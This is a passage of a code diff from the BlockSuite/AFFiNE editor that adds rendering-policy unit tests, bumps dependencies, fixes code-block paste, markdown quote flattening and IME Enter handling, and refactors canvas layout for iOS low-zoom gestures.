+      expect(strokeStyle).toBe('rgba(0, 0, 0, 0.02)');
+      expect(fillRect).toHaveBeenLastCalledWith(0, 0, 20, 8);
+
+      paintPlaceholderForTest(canvas, layout, {
+        zoom: 0.95,
+        toViewCoord: () => [0, 0],
+      });
+
+      expect(fillRect).toHaveBeenLastCalledWith(0, 0, 95, 38);
+    } finally {
+      document.documentElement.dataset.theme = previousTheme;
+    }
+  });
+});

blocksuite/affine/all/src/__tests__/gfx/placeholder-style.unit.spec.ts

@@ -0,0 +1,34 @@
+import { ColorScheme } from '@blocksuite/affine-model';
+import { describe, expect, it } from 'vitest';
+
+import {
+  getAffinePlaceholderFillColor,
+  getAffinePlaceholderStrokeColor,
+  inferColorSchemeFromThemeMode,
+} from '../../../../shared/src/theme/placeholder-style.js';
+
+describe('affine placeholder style', () => {
+  it('returns subtle light placeholder colors', () => {
+    expect(getAffinePlaceholderFillColor(ColorScheme.Light)).toBe(
+      'rgba(0, 0, 0, 0.04)'
+    );
+    expect(getAffinePlaceholderStrokeColor(ColorScheme.Light)).toBe(
+      'rgba(0, 0, 0, 0.02)'
+    );
+  });
+
+  it('returns subtle dark placeholder colors', () => {
+    expect(getAffinePlaceholderFillColor(ColorScheme.Dark)).toBe(
+      'rgba(255, 255, 255, 0.08)'
+    );
+    expect(getAffinePlaceholderStrokeColor(ColorScheme.Dark)).toBe(
+      'rgba(255, 255, 255, 0.04)'
+    );
+  });
+
+  it('infers color scheme from theme mode', () => {
+    expect(inferColorSchemeFromThemeMode('dark')).toBe(ColorScheme.Dark);
+    expect(inferColorSchemeFromThemeMode('light')).toBe(ColorScheme.Light);
+    expect(inferColorSchemeFromThemeMode('')).toBe(ColorScheme.Light);
+  });
+});

blocksuite/affine/all/src/__tests__/gfx/turbo-renderer.unit.spec.ts

@@ -0,0 +1,66 @@
+import { describe, expect, test } from 'vitest';
+
+import * as turboRendererModule from '../../../../gfx/turbo-renderer/src/turbo-renderer.js';
+
+describe('viewport turbo renderer policy', () => {
+  test.each([
+    { isIOS: true, zoom: 0.4, hasBitmap: true, expected: true },
+    { isIOS: true, zoom: 0.4, hasBitmap: false, expected: false },
+    { isIOS: false, zoom: 0.4, hasBitmap: true, expected: false },
+    { isIOS: true, zoom: 0.8, hasBitmap: true, expected: false },
+  ])(
+    'prefers cached bitmap only for iOS low-zoom gestures with a bitmap %#',
+    ({ isIOS, zoom, hasBitmap, expected }) => {
+      expect(
+        'shouldPreferBitmapCacheDuringLowZoomGesture' in turboRendererModule
+      ).toBe(true);
+
+      const shouldPreferBitmapCacheDuringLowZoomGesture = (
+        turboRendererModule as {
+          shouldPreferBitmapCacheDuringLowZoomGesture: (params: {
+            isIOS: boolean;
+            zoom: number;
+            hasBitmap: boolean;
+          }) => boolean;
+        }
+      ).shouldPreferBitmapCacheDuringLowZoomGesture;
+
+      expect(
+        shouldPreferBitmapCacheDuringLowZoomGesture({
+          isIOS,
+          zoom,
+          hasBitmap,
+        })
+      ).toBe(expected);
+    }
+  );
+
+  test.each([
+    { isIOS: true, zoom: 0.4, expected: false },
+    { isIOS: true, zoom: 0.8, expected: true },
+    { isIOS: false, zoom: 0.4, expected: true },
+  ])(
+    'idles turbo blocks outside iOS low-zoom survival mode %#',
+    ({ isIOS, zoom, expected }) => {
+      expect('shouldIdleTurboBlocksDuringZooming' in turboRendererModule).toBe(
+        true
+      );
+
+      const shouldIdleTurboBlocksDuringZooming = (
+        turboRendererModule as {
+          shouldIdleTurboBlocksDuringZooming: (params: {
+            isIOS: boolean;
+            zoom: number;
+          }) => boolean;
+        }
+      ).shouldIdleTurboBlocksDuringZooming;
+
+      expect(
+        shouldIdleTurboBlocksDuringZooming({
+          isIOS,
+          zoom,
+        })
+      ).toBe(expected);
+    }
+  );
+});

blocksuite/affine/all/vitest.config.ts

@@ -1,3 +1,5 @@
+import { fileURLToPath } from 'node:url';
+
 import { vanillaExtractPlugin } from '@vanilla-extract/vite-plugin';
 import { defineConfig } from 'vitest/config';
 
@@ -7,7 +9,9 @@ export default defineConfig({
   },
   plugins: [vanillaExtractPlugin()],
   test: {
-    globalSetup: '../../../scripts/vitest-global.js',
+    globalSetup: fileURLToPath(
+      new URL('../../../scripts/vitest-global.js', import.meta.url)
+    ),
     include: ['src/__tests__/**/*.unit.spec.ts'],
     testTimeout: 1000,
     coverage: {

blocksuite/affine/blocks/bookmark/package.json

@@ -29,9 +29,9 @@
     "yjs": "^13.6.27"
   },
   "devDependencies": {
-    "@vitest/browser-playwright": "^4.0.18",
+    "@vitest/browser-playwright": "^4.1.8",
     "playwright": "=1.58.2",
-    "vitest": "^4.0.18"
+    "vitest": "^4.1.8"
   },
   "exports": {
     ".": "./src/index.ts",

blocksuite/affine/blocks/code/src/clipboard/index.ts

@@ -1,4 +1,5 @@
 import { deleteTextCommand } from '@blocksuite/affine-inline-preset';
+import type { RichText } from '@blocksuite/affine-rich-text';
 import {
   HtmlAdapter,
   pasteMiddleware,
@@ -18,6 +19,7 @@ import {
   LifeCycleWatcher,
   LifeCycleWatcherIdentifier,
   StdIdentifier,
+  TextSelection,
   type UIEventHandler,
 } from '@blocksuite/std';
 import type { ExtensionType } from '@blocksuite/store';
@@ -103,6 +105,30 @@ export class CodeBlockClipboardController extends LifeCycleWatcher {
     const e = ctx.get('clipboardState').raw;
     e.preventDefault();
 
+    const textSelection = this.std.selection.find(TextSelection);
+    const plainText = e.clipboardData
+      ?.getData('text/plain')
+      ?.replace(/\r?\n|\r/g, '\n');
+    const selectedBlockId = textSelection?.from.blockId;
+    const codeBlock = selectedBlockId
+      ? this.std.store.getBlock(selectedBlockId)?.model
+      : null;
+    if (plainText && codeBlock?.flavour === 'affine:code' && selectedBlockId) {
+      const richText = this.std.view
+        .getBlock(selectedBlockId)
+        ?.querySelector<RichText>('rich-text');
+      const inlineEditor = richText?.inlineEditor;
+      const inlineRange = inlineEditor?.getInlineRange();
+      if (inlineEditor && inlineRange) {
+        inlineEditor.insertText(inlineRange, plainText);
+        inlineEditor.setInlineRange({
+          index: inlineRange.index + plainText.length,
+          length: 0,
+        });
+        return true;
+      }
+    }
+
     this.std.store.captureSync();
     this.std.command
       .chain()

blocksuite/affine/blocks/database/src/adapters/utils.ts

@@ -54,9 +54,9 @@ type Cell = {
   value: string | { delta: DeltaInsert[] };
 };
 export const processTable = (
-  columns: ColumnDataType[],
-  children: BlockSnapshot[],
-  cells: SerializedCells
+  columns: ColumnDataType[] = [],
+  children: BlockSnapshot[] = [],
+  cells: SerializedCells = {}
 ): Table => {
   const table: Table = {
     headers: columns,
@@ -90,13 +90,17 @@ export const processTable = (
         return;
       }
       let value: string | { delta: DeltaInsert[] };
-      if (isDelta(cell.value)) {
-        value = cell.value;
-      } else {
-        value = property.config.rawValue.toString({
-          value: cell.value,
-          data: col.data,
-        });
+      try {
+        if (isDelta(cell.value)) {
+          value = cell.value;
+        } else {
+          value = property.config.rawValue.toString({
+            value: cell.value,
+            data: col.data,
+          });
+        }
+      } catch {
+        value = '';
       }
       row.cells.push({
         value,

blocksuite/affine/blocks/embed/src/embed-github-block/embed-github-block.ts

@@ -117,7 +117,7 @@ export class EmbedGithubBlockComponent extends EmbedBlockComponent<
 
   override renderBlock() {
     const {
-      title = 'GitHub',
+      title,
       githubType,
       status,
       statusReason,
@@ -139,7 +139,7 @@ export class EmbedGithubBlockComponent extends EmbedBlockComponent<
       ? getGithubStatusIcon(githubType, status, statusReason)
       : nothing;
     const statusText = loading ? '' : status;
-    const titleText = loading ? 'Loading...' : title;
+    const titleText = loading ? 'Loading...' : title || 'GitHub';
     const descriptionText = loading ? '' : description;
     const bannerImage =
       !loading && image

blocksuite/affine/blocks/embed/src/embed-loom-block/embed-loom-block.ts

@@ -89,14 +89,14 @@ export class EmbedLoomBlockComponent extends EmbedBlockComponent<
   }
 
   override renderBlock() {
-    const { image, title = 'Loom', description, videoId } = this.model.props;
+    const { image, title, description, videoId } = this.model.props;
 
     const loading = this.loading;
     const theme = this.std.get(ThemeProvider).theme;
     const imageProxyService = this.store.get(ImageProxyService);
     const { EmbedCardBannerIcon } = getEmbedCardIcons(theme);
     const titleIcon = loading ? LoadingIcon() : LoomIcon;
-    const titleText = loading ? 'Loading...' : title;
+    const titleText = loading ? 'Loading...' : title || 'Loom';
     const descriptionText = loading ? '' : description;
     const bannerImage =
       !loading && image

blocksuite/affine/blocks/embed/src/embed-youtube-block/embed-youtube-block.ts

@@ -96,21 +96,15 @@ export class EmbedYoutubeBlockComponent extends EmbedBlockComponent<
   }
 
   override renderBlock() {
-    const {
-      image,
-      title = 'YouTube',
-      description,
-      creator,
-      creatorImage,
-      videoId,
-    } = this.model.props;
+    const { image, title, description, creator, creatorImage, videoId } =
+      this.model.props;
 
     const loading = this.loading;
     const theme = this.std.get(ThemeProvider).theme;
     const imageProxyService = this.store.get(ImageProxyService);
     const { EmbedCardBannerIcon } = getEmbedCardIcons(theme);
     const titleIcon = loading ? LoadingIcon() : YoutubeIcon;
-    const titleText = loading ? 'Loading...' : title;
+    const titleText = loading ? 'Loading...' : title || 'YouTube';
     const descriptionText = loading ? null : description;
     const bannerImage =
       !loading && image

blocksuite/affine/blocks/image/src/image-edgeless-block.ts

@@ -276,7 +276,8 @@ export class ImageEdgelessBlockComponent extends GfxBlockComponent<ImageBlockMod
 
   override renderGfxBlock() {
     const blobUrl = this.blobUrl;
-    const { rotate = 0, size = 0, caption = 'Image' } = this.model.props;
+    const { rotate, size: rawSize, caption = 'Image' } = this.model.props;
+    const size = rawSize ?? 0;
     this._resetLodSource(blobUrl);
 
     const containerStyleMap = styleMap({

blocksuite/affine/blocks/paragraph/src/adapters/markdown.ts

@@ -5,10 +5,11 @@ import {
   IN_PARAGRAPH_NODE_CONTEXT_KEY,
   isCalloutNode,
   type MarkdownAST,
+  type MarkdownDeltaConverter,
 } from '@blocksuite/affine-shared/adapters';
-import type { DeltaInsert } from '@blocksuite/store';
+import type { BlockSnapshot, DeltaInsert } from '@blocksuite/store';
 import { nanoid } from '@blocksuite/store';
-import type { Heading } from 'mdast';
+import type { Blockquote, Heading, List, ListItem } from 'mdast';
 
 /**
  * Extend the HeadingData type to include the collapsed property
@@ -24,6 +25,131 @@ const PARAGRAPH_MDAST_TYPE = new Set(['paragraph', 'heading', 'blockquote']);
 const isParagraphMDASTType = (node: MarkdownAST) =>
   PARAGRAPH_MDAST_TYPE.has(node.type);
 
+const joinDeltaLines = (
+  lines: DeltaInsert[][],
+  prefix?: string
+): DeltaInsert[] => {
+  const deltas: DeltaInsert[] = [];
+  lines.forEach(line => {
+    if (deltas.length) deltas.push({ insert: '\n' });
+    if (prefix) deltas.push({ insert: prefix });
+    deltas.push(...line);
+  });
+  return deltas;
+};
+
+const flattenListItemToDelta = (
+  node: ListItem,
+  deltaConverter: MarkdownDeltaConverter,
+  prefix: string,
+  depth: number
+): DeltaInsert[] => {
+  const firstParagraph = node.children[0];
+  const lines: DeltaInsert[][] = [];
+  if (firstParagraph?.type === 'paragraph') {
+    lines.push([
+      { insert: prefix },
+      ...deltaConverter.astToDelta(firstParagraph),
+    ]);
+  } else {
+    lines.push([{ insert: prefix.trimEnd() }]);
+  }
+  node.children
+    .slice(firstParagraph?.type === 'paragraph' ? 1 : 0)
+    .forEach(child => {
+      const delta = flattenMarkdownBlockToDelta(
+        child as MarkdownAST,
+        deltaConverter,
+        depth + 1
+      );
+      if (delta.length) {
+        lines.push(delta);
+      }
+    });
+  return joinDeltaLines(lines);
+};
+
+const flattenMarkdownBlockToDelta = (
+  node: MarkdownAST,
+  deltaConverter: MarkdownDeltaConverter,
+  depth = 0
+): DeltaInsert[] => {
+  switch (node.type) {
+    case 'paragraph':
+    case 'heading':
+      return deltaConverter.astToDelta(node);
+    case 'list': {
+      const list = node as List;
+      return joinDeltaLines(
+        list.children.map((item, index) => {
+          const order = (list.start ?? 1) + index;
+          const prefix =
+            '  '.repeat(depth) + (list.ordered ? `${order}. ` : '- ');
+          return flattenListItemToDelta(item, deltaConverter, prefix, depth);
+        })
+      );
+    }
+    case 'blockquote':
+      return flattenBlockquoteToDelta(node as Blockquote, deltaConverter);
+    default:
+      return 'children' in node
+        ? joinDeltaLines(
+            (node.children as MarkdownAST[]).map(child =>
+              flattenMarkdownBlockToDelta(child, deltaConverter, depth)
+            )
+          )
+        : [];
+  }
+};
+
+const flattenBlockquoteToDelta = (
+  node: Blockquote,
+  deltaConverter: MarkdownDeltaConverter
+) =>
+  joinDeltaLines(
+    node.children.map(child =>
+      flattenMarkdownBlockToDelta(child as MarkdownAST, deltaConverter)
+    )
+  );
+
+const getSnapshotTextDelta = (node: BlockSnapshot): DeltaInsert[] => {
+  const text = (node.props.text ?? { delta: [] }) as {
+    delta: DeltaInsert[];
+  };
+  return text.delta;
+};
+
+const flattenSnapshotBlockToDelta = (
+  node: BlockSnapshot,
+  depth = 0
+): DeltaInsert[] => {
+  if (node.flavour === 'affine:list') {
+    const type = node.props.type;
+    const order = (node.props.order as number | undefined) ?? 1;
+    const prefix =
+      '  '.repeat(depth) + (type === 'numbered' ? `${order}. ` : '- ');
+    return joinDeltaLines([
+      [{ insert: prefix }, ...getSnapshotTextDelta(node)],
+      ...node.children.map(child =>
+        flattenSnapshotBlockToDelta(child, depth + 1)
+      ),
+    ]);
+  }
+  return joinDeltaLines([
+    getSnapshotTextDelta(node),
+    ...node.children.map(child => flattenSnapshotBlockToDelta(child, depth)),
+  ]);
+};
+
+const flattenQuoteSnapshotToDelta = (
+  text: DeltaInsert[],
+  children: BlockSnapshot[]
+) =>
+  joinDeltaLines([
+    text,
+    ...children.map(child => flattenSnapshotBlockToDelta(child)),
+  ]);
+
 export const paragraphBlockMarkdownAdapterMatcher: BlockMarkdownAdapterMatcher =
   {
     flavour: ParagraphBlockSchema.model.flavour,
@@ -93,7 +219,10 @@ export const paragraphBlockMarkdownAdapterMatcher: BlockMarkdownAdapterMatcher =
                     type: 'quote',
                     text: {
                       '$blocksuite:internal:text$': true,
-                      delta: deltaConverter.astToDelta(o.node),
+                      delta: flattenBlockquoteToDelta(
+                        o.node as Blockquote,
+                        deltaConverter
+                      ),
                     },
                   },
                   children: [],
@@ -160,6 +289,10 @@ export const paragraphBlockMarkdownAdapterMatcher: BlockMarkdownAdapterMatcher =
             break;
           }
           case 'quote': {
+            const quoteDelta = flattenQuoteSnapshotToDelta(
+              text.delta,
+              o.node.children
+            );
             walkerContext
               .openNode(
                 {
@@ -171,12 +304,13 @@ export const paragraphBlockMarkdownAdapterMatcher: BlockMarkdownAdapterMatcher =
               .openNode(
                 {
                   type: 'paragraph',
-                  children: deltaConverter.deltaToAST(text.delta),
+                  children: deltaConverter.deltaToAST(quoteDelta),
                 },
                 'children'
               )
               .closeNode()
               .closeNode();
+            walkerContext.skipAllChildren();
             break;
           }
         }

blocksuite/affine/blocks/paragraph/src/heading-icon.ts

@@ -42,7 +42,7 @@ export class ParagraphHeadingIcon extends SignalWatcher(
       margin-top: 0.3em;
       position: absolute;
       left: 0;
-      transform: translateX(-64px);
+      transform: translateX(-80px);
       border-radius: 4px;
       padding: 2px;
       cursor: pointer;

blocksuite/affine/blocks/paragraph/src/paragraph-keymap.ts

@@ -101,6 +101,9 @@ export const ParagraphKeymapExtension = KeymapExtension(
         return true;
       },
       Enter: ctx => {
+        const raw = ctx.get('keyboardState').raw;
+        if (raw.isComposing) return;
+
         const { store } = std;
         const text = std.selection.find(TextSelection);
         if (!text) return;
@@ -115,7 +118,6 @@ export const ParagraphKeymapExtension = KeymapExtension(
         const inlineRange = inlineEditor?.getInlineRange();
         if (!inlineRange || !inlineEditor) return;
 
-        const raw = ctx.get('keyboardState').raw;
         const isEnd = model.props.text.length === inlineRange.index;
 
         if (model.props.type === 'quote') {

blocksuite/affine/blocks/root/package.json

@@ -43,7 +43,7 @@
     "@blocksuite/store": "workspace:*",
     "@preact/signals-core": "^1.8.0",
     "@types/lodash-es": "^4.17.12",
-    "dompurify": "^3.3.0",
+    "dompurify": "^3.4.11",
     "html2canvas": "^1.4.1",
     "lit": "^3.2.0",
     "lodash-es": "^4.17.23",

blocksuite/affine/blocks/root/src/edgeless/edgeless-root-block.ts

@@ -212,7 +212,7 @@ export class EdgelessRootBlockComponent extends BlockComponent<
           currentCenter.y
         );
 
-        viewport.setZoom(zoom, new Point(baseX, baseY));
+        viewport.setZoom(zoom, new Point(baseX, baseY), false, true, true);
 
         return false;
       })
@@ -351,7 +351,7 @@ export class EdgelessRootBlockComponent extends BlockComponent<
           );
 
           const zoom = normalizeWheelDeltaY(e.deltaY, viewport.zoom);
-          viewport.setZoom(zoom, new Point(baseX, baseY), true);
+          viewport.setZoom(zoom, new Point(baseX, baseY), true, true, true);
           e.stopPropagation();
         }
         // pan
@@ -484,7 +484,7 @@ export class EdgelessRootBlockComponent extends BlockComponent<
           .viewport=${this.gfx.viewport}
           .getModelsInViewport=${() => {
             const blocks = this.gfx.grid.search(
-              this.gfx.viewport.viewportBounds,
+              this.gfx.viewport.overscanBlockBounds,
               {
                 useSet: true,
                 filter: ['block'],

blocksuite/affine/blocks/root/src/preview/edgeless-root-preview-block.ts

@@ -230,7 +230,7 @@ export class EdgelessRootPreviewBlockComponent extends BlockComponent<RootBlockM
           .viewport=${this._gfx.viewport}
           .getModelsInViewport=${() => {
             const blocks = this._gfx.grid.search(
-              this._gfx.viewport.viewportBounds,
+              this._gfx.viewport.overscanBlockBounds,
               {
                 useSet: true,
                 filter: ['block'],

blocksuite/affine/blocks/surface/package.json

@@ -28,7 +28,7 @@
     "yjs": "^13.6.27"
   },
   "devDependencies": {
-    "vitest": "^4.0.18"
+    "vitest": "^4.1.8"
   },
   "exports": {
     ".": "./src/index.ts",

blocksuite/affine/blocks/surface/src/renderer/canvas-renderer.ts

@@ -2,6 +2,7 @@ import { type Color, ColorScheme } from '@blocksuite/affine-model';
 import { FeatureFlagService } from '@blocksuite/affine-shared/services';
 import { requestConnectedFrame } from '@blocksuite/affine-shared/utils';
 import { DisposableGroup } from '@blocksuite/global/disposable';
+import { IS_IOS } from '@blocksuite/global/env';
 import {
   Bound,
   getBoundWithRotation,
@@ -18,7 +19,12 @@ import type {
   SurfaceBlockModel,
   Viewport,
 } from '@blocksuite/std/gfx';
-import { GfxControllerIdentifier } from '@blocksuite/std/gfx';
+import {
+  getEffectiveDpr,
+  getPostGestureRecoveryDelay,
+  GfxControllerIdentifier,
+  viewportRuntimeConfig,
+} from '@blocksuite/std/gfx';
 import { effect } from '@preact/signals-core';
 import last from 'lodash-es/last';
 import { Subject } from 'rxjs';
@@ -28,6 +34,7 @@ import { ElementRendererIdentifier } from '../extensions/element-renderer.js';
 import { RoughCanvas } from '../utils/rough/canvas.js';
 import type { ElementRenderer } from './elements/index.js';
 import type { Overlay } from './overlay.js';
+import { resolveSurfacePlaceholderColor } from './placeholder-style.js';
 
 type EnvProvider = {
   generateColorProperty: (color: Color, fallback?: Color) => string;
@@ -116,6 +123,181 @@ type RefreshTarget =
     };
 
 const STACKING_CANVAS_PADDING = 32;
+const IOS_LOW_ZOOM_SURVIVAL_THRESHOLD = 0.5;
+
+export function shouldSyncCanvasBudgetOnViewportUpdate(
+  previousZoom: number,
+  nextZoom: number,
+  rawDpr = window.devicePixelRatio
+) {
+  if (rawDpr <= 1) {
+    return false;
+  }
+
+  return (
+    getEffectiveDpr(previousZoom, rawDpr) !== getEffectiveDpr(nextZoom, rawDpr)
+  );
+}
+
+export function shouldUseLowZoomSurvivalMode(
+  isIOS: boolean,
+  zoom: number,
+  gestureActive: boolean
+) {
+  return isIOS && gestureActive && zoom <= IOS_LOW_ZOOM_SURVIVAL_THRESHOLD;
+}
+
+export function getStackingCanvasBypassState(params: {
+  isIOS: boolean;
+  zoom: number;
+  gestureActive: boolean;
+  recoveryActive: boolean;
+  viewportWidth: number;
+  viewportHeight: number;
+}) {
+  const {
+    isIOS,
+    zoom,
+    gestureActive,
+    recoveryActive,
+    viewportWidth,
+    viewportHeight,
+  } = params;
+
+  return (
+    isIOS &&
+    zoom <= IOS_LOW_ZOOM_SURVIVAL_THRESHOLD &&
+    (gestureActive || recoveryActive) &&
+    viewportWidth > viewportHeight
+  );
+}
+
+export function shouldBypassStackingCanvasesDuringLowZoomGesture(params: {
+  isIOS: boolean;
+  zoom: number;
+  gestureActive: boolean;
+  recoveryActive: boolean;
+  viewportWidth: number;
+  viewportHeight: number;
+}) {
+  return getStackingCanvasBypassState(params);
+}
+
+export function getStackingCanvasAttachmentDiff(params: {
+  canvases: HTMLCanvasElement[];
+  wasAttached: boolean;
+  shouldAttach: boolean;
+}) {
+  const { canvases, wasAttached, shouldAttach } = params;
+
+  if (wasAttached === shouldAttach) {
+    return {
+      added: [],
+      removed: [],
+    };
+  }
+
+  return shouldAttach
+    ? {
+        added: canvases,
+        removed: [],
+      }
+    : {
+        added: [],
+        removed: canvases,
+      };
+}
+
+export function getMainCanvasFallbackBounds(params: {
+  viewportBounds: Bound;
+  overscanViewportBounds: Bound;
+}) {
+  const { overscanViewportBounds } = params;
+
+  return {
+    cullBound: overscanViewportBounds,
+    renderBound: overscanViewportBounds,
+  };
+}
+
+export function getCanvasViewportLayout(params: {
+  bound: Bound;
+  viewportBounds: Bound;
+  zoom: number;
+  viewScale: number;
+  dpr: number;
+}) {
+  const { bound, viewportBounds, zoom, viewScale, dpr } = params;
+  const width = bound.w * zoom;
+  const height = bound.h * zoom;
+  const left = (bound.x - viewportBounds.x) * zoom;
+  const top = (bound.y - viewportBounds.y) * zoom;
+
+  return {
+    actualHeight: Math.max(0, Math.ceil(height * dpr)),
+    actualWidth: Math.max(0, Math.ceil(width * dpr)),
+    height,
+    transform: `translate(${left}px, ${top}px) scale(${1 / viewScale})`,
+    width,
+  };
+}
+
+function applyCanvasViewportLayout(
+  canvas: HTMLCanvasElement,
+  layout: ReturnType<typeof getCanvasViewportLayout>
+) {
+  const width = `${layout.width}px`;
+  const height = `${layout.height}px`;
+
+  if (canvas.style.left !== '0px') {
+    canvas.style.left = '0px';
+  }
+  if (canvas.style.top !== '0px') {
+    canvas.style.top = '0px';
+  }
+  if (canvas.style.width !== width) {
+    canvas.style.width = width;
+  }
+  if (canvas.style.height !== height) {
+    canvas.style.height = height;
+  }
+  if (canvas.style.transform !== layout.transform) {
+    canvas.style.transform = layout.transform;
+  }
+  if (canvas.style.transformOrigin !== 'top left') {
+    canvas.style.transformOrigin = 'top left';
+  }
+  if (canvas.width !== layout.actualWidth) {
+    canvas.width = layout.actualWidth;
+  }
+  if (canvas.height !== layout.actualHeight) {
+    canvas.height = layout.actualHeight;
+  }
+}
+
+export function shouldRenderCanvasPlaceholders(params: {
+  isIOS: boolean;
+  zoom: number;
+  isPanning: boolean;
+  isZooming: boolean;
+  skipRefreshDuringGesture: boolean;
+  turboEnabled: boolean;
+}) {
+  const {
+    isIOS,
+    zoom,
+    isPanning,
+    isZooming,
+    skipRefreshDuringGesture,
+    turboEnabled,
+  } = params;
+
+  if (shouldUseLowZoomSurvivalMode(isIOS, zoom, isZooming)) {
+    return true;
+  }
+
+  return !skipRefreshDuringGesture && turboEnabled && isZooming && !isPanning;
+}
 
 export class CanvasRenderer {
   private _container!: HTMLElement;
@@ -145,6 +327,19 @@ export class CanvasRenderer {
 
   private _needsFullRender = true;
 
+  private _lastCanvasBudgetZoom = 1;
+
+  private _lastLowZoomSurvivalMode = false;
+
+  private _lastBypassStackingCanvases = false;
+
+  private _stackingCanvasesAttached = true;
+
+  private _stackingCanvasRecoveryUntil = 0;
+
+  private _stackingCanvasRecoveryTimerId: ReturnType<typeof setTimeout> | null =
+    null;
+
   private _debugMetrics: MutableCanvasRendererDebugMetrics = {
     refreshCount: 0,
     coalescedRefreshCount: 0,
@@ -189,6 +384,10 @@ export class CanvasRenderer {
     return this._stackingCanvas;
   }
 
+  get stackingCanvasesAttached() {
+    return this._stackingCanvasesAttached;
+  }
+
   constructor(options: RendererOptions) {
     const canvas = document.createElement('canvas');
 
@@ -196,6 +395,7 @@ export class CanvasRenderer {
     this.ctx = this.canvas.getContext('2d') as CanvasRenderingContext2D;
     this.std = options.std;
     this.viewport = options.viewport;
+    this._lastCanvasBudgetZoom = this.viewport.zoom;
     this.layerManager = options.layerManager;
     this.grid = options.gridManager;
     this.provider = options.provider ?? {};
@@ -223,22 +423,28 @@ export class CanvasRenderer {
    *
    * It is not recommended to set width and height to 100%.
    */
-  private _canvasSizeUpdater(dpr = window.devicePixelRatio) {
-    const { width, height, viewScale } = this.viewport;
-    const actualWidth = Math.ceil(width * dpr);
-    const actualHeight = Math.ceil(height * dpr);
+  private _canvasSizeUpdater(
+    bound = this.viewport.overscanViewportBounds,
+    dpr = getEffectiveDpr(this.viewport.zoom)
+  ) {
+    const layout = getCanvasViewportLayout({
+      bound,
+      viewportBounds: this.viewport.viewportBounds,
+      zoom: this.viewport.zoom,
+      viewScale: this.viewport.viewScale,
+      dpr,
+    });
 
     return {
-      filter({ width, height }: HTMLCanvasElement) {
-        return width !== actualWidth || height !== actualHeight;
+      filter(canvas: HTMLCanvasElement) {
+        return (
+          canvas.width !== layout.actualWidth ||
+          canvas.height !== layout.actualHeight ||
+          canvas.style.transform !== layout.transform
+        );
       },
       update(canvas: HTMLCanvasElement) {
-        canvas.style.width = `${width}px`;
-        canvas.style.height = `${height}px`;
-        canvas.style.transform = `scale(${1 / viewScale})`;
-        canvas.style.transformOrigin = `top left`;
-        canvas.width = actualWidth;
-        canvas.height = actualHeight;
+        applyCanvasViewportLayout(canvas, layout);
       },
     };
   }
@@ -246,7 +452,7 @@ export class CanvasRenderer {
   private _applyStackingCanvasLayout(
     canvas: HTMLCanvasElement,
     bound: Bound | null,
-    dpr = window.devicePixelRatio
+    dpr = getEffectiveDpr(this.viewport.zoom)
   ) {
     const state =
       this._stackingCanvasState.get(canvas) ??
@@ -270,44 +476,18 @@ export class CanvasRenderer {
       return;
     }
 
-    const { viewportBounds, zoom, viewScale } = this.viewport;
-    const width = bound.w * zoom;
-    const height = bound.h * zoom;
-    const left = (bound.x - viewportBounds.x) * zoom;
-    const top = (bound.y - viewportBounds.y) * zoom;
-    const actualWidth = Math.max(1, Math.ceil(width * dpr));
-    const actualHeight = Math.max(1, Math.ceil(height * dpr));
-    const transform = `translate(${left}px, ${top}px) scale(${1 / viewScale})`;
+    const layout = getCanvasViewportLayout({
+      bound,
+      viewportBounds: this.viewport.viewportBounds,
+      zoom: this.viewport.zoom,
+      viewScale: this.viewport.viewScale,
+      dpr,
+    });
 
     if (canvas.style.display !== 'block') {
       canvas.style.display = 'block';
     }
-    if (canvas.style.left !== '0px') {
-      canvas.style.left = '0px';
-    }
-    if (canvas.style.top !== '0px') {
-      canvas.style.top = '0px';
-    }
-    if (canvas.style.width !== `${width}px`) {
-      canvas.style.width = `${width}px`;
-    }
-    if (canvas.style.height !== `${height}px`) {
-      canvas.style.height = `${height}px`;
-    }
-    if (canvas.style.transform !== transform) {
-      canvas.style.transform = transform;
-    }
-    if (canvas.style.transformOrigin !== 'top left') {
-      canvas.style.transformOrigin = 'top left';
-    }
-
-    if (canvas.width !== actualWidth) {
-      canvas.width = actualWidth;
-    }
-
-    if (canvas.height !== actualHeight) {
-      canvas.height = actualHeight;
-    }
+    applyCanvasViewportLayout(canvas, layout);
 
     state.bound = bound;
     state.layerId = canvas.dataset.layerId ?? null;
@@ -434,6 +614,125 @@ export class CanvasRenderer {
     this._applyStackingCanvasLayout(canvas, null);
   }
 
+  private _syncStackingCanvasAttachment(shouldAttach: boolean) {
+    const payloadDiff = getStackingCanvasAttachmentDiff({
+      canvases: this._stackingCanvas,
+      wasAttached: this._stackingCanvasesAttached,
+      shouldAttach,
+    });
+
+    this._stackingCanvasesAttached = shouldAttach;
+
+    if (!payloadDiff.added.length && !payloadDiff.removed.length) {
+      return;
+    }
+
+    this.stackingCanvasUpdated.next({
+      canvases: this._stackingCanvas,
+      ...payloadDiff,
+    });
+  }
+
+  private _isStackingCanvasRecoveryActive() {
+    return this._stackingCanvasRecoveryUntil > performance.now();
+  }
+
+  private _clearStackingCanvasRecoveryTimer() {
+    if (this._stackingCanvasRecoveryTimerId !== null) {
+      clearTimeout(this._stackingCanvasRecoveryTimerId);
+      this._stackingCanvasRecoveryTimerId = null;
+    }
+  }
+
+  private _scheduleStackingCanvasRecoveryWindow(
+    delayMs = viewportRuntimeConfig.POST_GESTURE_REFRESH_DELAY
+  ) {
+    this._clearStackingCanvasRecoveryTimer();
+    this._stackingCanvasRecoveryUntil = performance.now() + delayMs;
+    this._stackingCanvasRecoveryTimerId = setTimeout(() => {
+      this._stackingCanvasRecoveryTimerId = null;
+      this._stackingCanvasRecoveryUntil = 0;
+      if (this._container) {
+        this._updatePlaceholderMode();
+      }
+    }, delayMs);
+  }
+
+  private _syncCanvasBudgetForViewportZoom() {
+    const nextZoom = this.viewport.zoom;
+
+    if (
+      !shouldSyncCanvasBudgetOnViewportUpdate(
+        this._lastCanvasBudgetZoom,
+        nextZoom
+      )
+    ) {
+      this._lastCanvasBudgetZoom = nextZoom;
+      return;
+    }
+
+    this._lastCanvasBudgetZoom = nextZoom;
+    this._resetSize();
+    this._render();
+  }
+
+  private _updatePlaceholderMode() {
+    const gestureActive =
+      this.viewport.panning$.value || this.viewport.zooming$.value;
+    const recoveryActive = this._isStackingCanvasRecoveryActive();
+    const lowZoomSurvivalMode = shouldUseLowZoomSurvivalMode(
+      IS_IOS,
+      this.viewport.zoom,
+      gestureActive
+    );
+    const shouldBypassStackingCanvases =
+      shouldBypassStackingCanvasesDuringLowZoomGesture({
+        isIOS: IS_IOS,
+        zoom: this.viewport.zoom,
+        gestureActive,
+        recoveryActive,
+        viewportWidth: this.viewport.width,
+        viewportHeight: this.viewport.height,
+      });
